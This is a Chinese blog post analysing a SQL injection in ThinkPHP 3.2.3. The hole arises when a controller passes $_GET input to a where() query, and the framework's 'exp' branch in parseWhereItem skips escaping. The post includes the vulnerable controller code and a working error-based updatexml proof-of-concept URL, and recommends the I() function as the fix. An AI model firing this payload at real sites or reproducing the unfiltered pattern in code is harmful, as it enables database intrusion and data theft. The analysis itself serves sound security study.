Think PHP错误写法导致SQL注入漏洞代码分析
原创
©著作权归作者所有:来自51CTO博客作者OceanSec的原创作品,请联系作者获取转载授权,否则将追究法律责任
实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址:
点击进项目地址
Think PHP错误写法导致SQL注入
后端代码
# application/home/controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index(){
$username=I("username");
// I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换
$data=M("admin")->where(array("name"=>$username))->find();
// M方法用于实例化一个基础模型类,等效于 $User = new Model('User');
dump($data);
}
}
首先输入参数,调试分析
参数默认会经过过滤函数
# Model.class.php
$resultSet = $this->db->select($options);
# Driver.class.php
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
# Driver.class.php
public function escapeString($str) {
return addslashes($str);
}
# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\'' LIMIT 1
错误写法
# application/home/controller/IndexController.class.php
public function index(){
$username=$_GET("username");
$data=M("admin")->where(array("name"=>$username))->find();
dump($data);
}
poc
http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23
漏洞原因
exp 表达式
exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新
$map['id']=array('in','1,3,8');
# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......
漏洞修复
数据接收使用 I 函数
I 函数内封装了安全过滤函数